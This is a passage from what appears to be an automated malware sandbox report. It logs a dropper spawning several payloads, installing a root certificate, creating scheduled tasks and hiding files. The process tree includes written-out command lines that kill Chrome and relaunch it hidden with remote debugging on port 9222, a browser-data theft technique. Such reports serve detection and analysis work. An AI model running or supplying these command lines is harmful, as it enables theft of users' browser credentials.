Set value (int)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\DOMStorage\web.4399.com\ = "34"	cqms.exe
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\DOMStorage	cqms.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\DOMStorage\web.4399.com\ = "97"	cqms.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{0873836A-995D-11F1-8368-F27D480232C1} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\Suggested Sites	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "9"	cqms.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\DOMStorage\4399.com\Total = "97"	cqms.exe
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\.nwcfg	client.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000_Classes\.nwcfg\ = 06	client.exe

Modifies system certificate store 2 TTPs 3 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	CFXBypass.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	CFXBypass.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	CFXBypass.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6220	schtasks.exe
6492	schtasks.exe
6220	schtasks.exe
4464	schtasks.exe
6768	schtasks.exe
4972	schtasks.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
4880	chrome.exe
4880	chrome.exe
4572	CFXBypass.exe
4572	CFXBypass.exe
6656	chrome.exe
6656	chrome.exe
6456	client.exe
6456	client.exe
6456	client.exe
6456	client.exe
1100	background.exe
1100	background.exe
1672	msedge.exe
1672	msedge.exe
6632	chrome.exe
6632	chrome.exe
2360	powershell.exe
2360	powershell.exe
2360	powershell.exe
3912	chrome.exe
3912	chrome.exe
1392	chrome.exe
1392	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2168	4363463463464363463463463.exe
Token: SeDebugPrivilege	1612	taskkill.exe
Token: SeShutdownPrivilege	4880	chrome.exe
Token: SeCreatePagefilePrivilege	4880	chrome.exe
Token: SeShutdownPrivilege	4880	chrome.exe
Token: SeCreatePagefilePrivilege	4880	chrome.exe
Token: SeDebugPrivilege	4572	CFXBypass.exe
Token: SeShutdownPrivilege	4880	chrome.exe
Token: SeCreatePagefilePrivilege	4880	chrome.exe
Token: SeShutdownPrivilege	4880	chrome.exe
Token: SeCreatePagefilePrivilege	4880	chrome.exe
Token: SeShutdownPrivilege	4880	chrome.exe
Token: SeCreatePagefilePrivilege	4880	chrome.exe
Token: SeDebugPrivilege	6576	taskkill.exe
Token: SeIncreaseQuotaPrivilege	4572	CFXBypass.exe
Token: SeSecurityPrivilege	4572	CFXBypass.exe
Token: SeTakeOwnershipPrivilege	4572	CFXBypass.exe
Token: SeLoadDriverPrivilege	4572	CFXBypass.exe
Token: SeSystemProfilePrivilege	4572	CFXBypass.exe
Token: SeSystemtimePrivilege	4572	CFXBypass.exe
Token: SeProfSingleProcessPrivilege	4572	CFXBypass.exe
Token: SeIncBasePriorityPrivilege	4572	CFXBypass.exe
Token: SeCreatePagefilePrivilege	4572	CFXBypass.exe
Token: SeBackupPrivilege	4572	CFXBypass.exe
Token: SeRestorePrivilege	4572	CFXBypass.exe
Token: SeShutdownPrivilege	4572	CFXBypass.exe
Token: SeDebugPrivilege	4572	CFXBypass.exe
Token: SeSystemEnvironmentPrivilege	4572	CFXBypass.exe
Token: SeRemoteShutdownPrivilege	4572	CFXBypass.exe
Token: SeUndockPrivilege	4572	CFXBypass.exe
Token: SeManageVolumePrivilege	4572	CFXBypass.exe
Token: 33	4572	CFXBypass.exe
Token: 34	4572	CFXBypass.exe
Token: 35	4572	CFXBypass.exe
Token: 36	4572	CFXBypass.exe
Token: SeShutdownPrivilege	6656	chrome.exe
Token: SeCreatePagefilePrivilege	6656	chrome.exe
Token: SeShutdownPrivilege	6656	chrome.exe
Token: SeCreatePagefilePrivilege	6656	chrome.exe
Token: SeShutdownPrivilege	6656	chrome.exe
Token: SeCreatePagefilePrivilege	6656	chrome.exe
Token: SeShutdownPrivilege	6656	chrome.exe
Token: SeCreatePagefilePrivilege	6656	chrome.exe
Token: SeShutdownPrivilege	6656	chrome.exe
Token: SeCreatePagefilePrivilege	6656	chrome.exe
Token: SeDebugPrivilege	6604	taskkill.exe
Token: SeIncreaseQuotaPrivilege	4572	CFXBypass.exe
Token: SeSecurityPrivilege	4572	CFXBypass.exe
Token: SeTakeOwnershipPrivilege	4572	CFXBypass.exe
Token: SeLoadDriverPrivilege	4572	CFXBypass.exe
Token: SeSystemProfilePrivilege	4572	CFXBypass.exe
Token: SeSystemtimePrivilege	4572	CFXBypass.exe
Token: SeProfSingleProcessPrivilege	4572	CFXBypass.exe
Token: SeIncBasePriorityPrivilege	4572	CFXBypass.exe
Token: SeCreatePagefilePrivilege	4572	CFXBypass.exe
Token: SeBackupPrivilege	4572	CFXBypass.exe
Token: SeRestorePrivilege	4572	CFXBypass.exe
Token: SeShutdownPrivilege	4572	CFXBypass.exe
Token: SeDebugPrivilege	4572	CFXBypass.exe
Token: SeSystemEnvironmentPrivilege	4572	CFXBypass.exe
Token: SeRemoteShutdownPrivilege	4572	CFXBypass.exe
Token: SeUndockPrivilege	4572	CFXBypass.exe
Token: SeManageVolumePrivilege	4572	CFXBypass.exe
Token: 33	4572	CFXBypass.exe

Suspicious use of FindShellTrayWindow 9 IoCs

pid	Process
4880	chrome.exe
4880	chrome.exe
6656	chrome.exe
6656	chrome.exe
3912	chrome.exe
3912	chrome.exe
1392	chrome.exe
1392	chrome.exe
912	iexplore.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4420	cqms.exe
3016	cqms.exe
3016	cqms.exe
3016	cqms.exe
3016	cqms.exe
3016	cqms.exe
912	iexplore.exe
912	iexplore.exe
6124	IEXPLORE.EXE
6124	IEXPLORE.EXE
912	iexplore.exe
912	iexplore.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2168 wrote to memory of 3156	2168	4363463463464363463463463.exe	90
PID 2168 wrote to memory of 260	2168	4363463463464363463463463.exe	91
PID 3156 wrote to memory of 4508	3156	main.exe	92
PID 2168 wrote to memory of 3048	2168	4363463463464363463463463.exe	93
PID 4508 wrote to memory of 1612	4508	main.exe	94
PID 4508 wrote to memory of 4880	4508	main.exe	97
PID 4880 wrote to memory of 3184	4880	chrome.exe	98
PID 4880 wrote to memory of 2596	4880	chrome.exe	99
PID 4880 wrote to memory of 3588	4880	chrome.exe	100
PID 4880 wrote to memory of 700	4880	chrome.exe	101
PID 2168 wrote to memory of 2716	2168	4363463463464363463463463.exe	103
PID 2716 wrote to memory of 5124	2716	hailhydra.exe	105
PID 4880 wrote to memory of 5728	4880	chrome.exe	106
PID 4880 wrote to memory of 2840	4880	chrome.exe	107
PID 3048 wrote to memory of 4612	3048	crypted_c360a5b7.exe	108
PID 3048 wrote to memory of 4612	3048	crypted_c360a5b7.exe	108
PID 3048 wrote to memory of 4612	3048	crypted_c360a5b7.exe	108
PID 3048 wrote to memory of 4612	3048	crypted_c360a5b7.exe	108
PID 3048 wrote to memory of 4612	3048	crypted_c360a5b7.exe	108
PID 4880 wrote to memory of 2780	4880	chrome.exe	109
PID 4880 wrote to memory of 1376	4880	chrome.exe	110
PID 2168 wrote to memory of 4572	2168	4363463463464363463463463.exe	111
PID 2168 wrote to memory of 6456	2168	4363463463464363463463463.exe	112
PID 4508 wrote to memory of 6576	4508	main.exe	114
PID 4508 wrote to memory of 6656	4508	main.exe	116
PID 6656 wrote to memory of 6668	6656	chrome.exe	117
PID 6656 wrote to memory of 6928	6656	chrome.exe	118
PID 6656 wrote to memory of 6956	6656	chrome.exe	119
PID 6656 wrote to memory of 6964	6656	chrome.exe	120
PID 6656 wrote to memory of 7096	6656	chrome.exe	122
PID 6656 wrote to memory of 7104	6656	chrome.exe	123
PID 6656 wrote to memory of 3056	6656	chrome.exe	125
PID 2168 wrote to memory of 4420	2168	4363463463464363463463463.exe	126
PID 4420 wrote to memory of 3016	4420	cqms.exe	127
PID 6656 wrote to memory of 704	6656	chrome.exe	128
PID 2168 wrote to memory of 820	2168	4363463463464363463463463.exe	131
PID 4572 wrote to memory of 1100	4572	CFXBypass.exe	132
PID 4508 wrote to memory of 6604	4508	main.exe	133
PID 4508 wrote to memory of 6628	4508	main.exe	135
PID 6628 wrote to memory of 6832	6628	chrome.exe	136
PID 1100 wrote to memory of 6632	1100	background.exe	137
PID 1100 wrote to memory of 6632	1100	background.exe	137
PID 1100 wrote to memory of 1672	1100	background.exe	138
PID 1100 wrote to memory of 1672	1100	background.exe	138
PID 1100 wrote to memory of 6880	1100	background.exe	139
PID 1100 wrote to memory of 6880	1100	background.exe	139
PID 6632 wrote to memory of 2360	6632	chrome.exe	142
PID 4508 wrote to memory of 3040	4508	main.exe	253
PID 4508 wrote to memory of 3912	4508	main.exe	146
PID 3912 wrote to memory of 728	3912	chrome.exe	147
PID 2360 wrote to memory of 1192	2360	powershell.exe	149
PID 3912 wrote to memory of 3240	3912	chrome.exe	151
PID 3912 wrote to memory of 2176	3912	chrome.exe	152
PID 3912 wrote to memory of 1268	3912	chrome.exe	153
PID 3912 wrote to memory of 6000	3912	chrome.exe	155
PID 3912 wrote to memory of 6120	3912	chrome.exe	156
PID 2360 wrote to memory of 6476	2360	powershell.exe	158
PID 3912 wrote to memory of 6616	3912	chrome.exe	159
PID 2360 wrote to memory of 6676	2360	powershell.exe	160
PID 2360 wrote to memory of 6692	2360	powershell.exe	161
PID 2360 wrote to memory of 6680	2360	powershell.exe	162
PID 2360 wrote to memory of 6612	2360	powershell.exe	163
PID 3912 wrote to memory of 6904	3912	chrome.exe	166
PID 4508 wrote to memory of 6420	4508	main.exe	211

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 4 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1192	attrib.exe
6476	attrib.exe
5660	attrib.exe
6688	attrib.exe

C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
1⤵
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2168
- C:\Users\Admin\AppData\Local\Temp\Files\main.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\main.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3156
- - C:\Users\Admin\AppData\Local\Temp\Files\main.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\main.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:4508
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1612
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:4880
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffff8b4c728,0x7ffff8b4c734,0x7ffff8b4c740
        5⤵
        
        PID:3184
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1600,i,12125430446416028378,14248564817233907009,262144 --field-trial-handle=1872,i,11759939592117248318,16530335759262067562,262144 --variations-seed-version --mojo-platform-channel-handle=1868 /prefetch:2
        5⤵
        
        PID:2596
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=1452,i,12908375284574908834,16918487481561954179,524288 --field-trial-handle=1872,i,11759939592117248318,16530335759262067562,262144 --variations-seed-version --mojo-platform-channel-handle=2456 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:3588
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2040,i,13749925961828536112,8799219489251355487,524288 --field-trial-handle=1872,i,11759939592117248318,16530335759262067562,262144 --variations-seed-version --mojo-platform-channel-handle=2472 /prefetch:13
        5⤵
        
        PID:700
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2928,i,3373715035911031504,19728689098100932,2097152 --field-trial-handle=1872,i,11759939592117248318,16530335759262067562,262144 --variations-seed-version --mojo-platform-channel-handle=2936 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5728
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2932,i,2482995615676163410,2051822498051495869,2097152 --field-trial-handle=1872,i,11759939592117248318,16530335759262067562,262144 --variations-seed-version --mojo-platform-channel-handle=3036 /prefetch:1
        5⤵
        
        PID:2840
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=4228,i,17733027683319341037,3742216825438015189,524288 --field-trial-handle=1872,i,11759939592117248318,16530335759262067562,262144 --variations-seed-version --mojo-platform-channel-handle=4240 /prefetch:14
        5⤵
        
        PID:2780
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4248,i,7410118705972927847,14465320165746473082,2097152 --field-trial-handle=1872,i,11759939592117248318,16530335759262067562,262144 --variations-seed-version --mojo-platform-channel-handle=4268 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:1376
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:6576
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
      4⤵
      Uses browser remote debugging
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:6656
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffff8b4c728,0x7ffff8b4c734,0x7ffff8b4c740
        5⤵
        
        PID:6668
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1600,i,4017357246860033264,6061114899606945810,262144 --field-trial-handle=2252,i,15882752884630825695,13786543343751847964,262144 --variations-seed-version --mojo-platform-channel-handle=2248 /prefetch:2
        5⤵
        
        PID:6928
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1452,i,13380949989818112649,18380901882504882789,524288 --field-trial-handle=2252,i,15882752884630825695,13786543343751847964,262144 --variations-seed-version --mojo-platform-channel-handle=2268 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:6956
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1996,i,3596553320403847022,10784285066535209626,524288 --field-trial-handle=2252,i,15882752884630825695,13786543343751847964,262144 --variations-seed-version --mojo-platform-channel-handle=2276 /prefetch:13
        5⤵
        
        PID:6964
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2872,i,8914652099159873629,1246904008493578904,2097152 --field-trial-handle=2252,i,15882752884630825695,13786543343751847964,262144 --variations-seed-version --mojo-platform-channel-handle=2888 /prefetch:1
        5⤵
        
        PID:7096
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2892,i,14393240357418968047,5156758287535211873,2097152 --field-trial-handle=2252,i,15882752884630825695,13786543343751847964,262144 --variations-seed-version --mojo-platform-channel-handle=2920 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:7104
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=3728,i,17093293344430316543,8741470849754365888,524288 --field-trial-handle=2252,i,15882752884630825695,13786543343751847964,262144 --variations-seed-version --mojo-platform-channel-handle=3748 /prefetch:14
        5⤵
        
        PID:3056
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3936,i,7544852035220864318,359100659815167723,2097152 --field-trial-handle=2252,i,15882752884630825695,13786543343751847964,262144 --variations-seed-version --mojo-platform-channel-handle=3912 /prefetch:1
        5⤵
        
        PID:704
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM chrome.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:6604
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
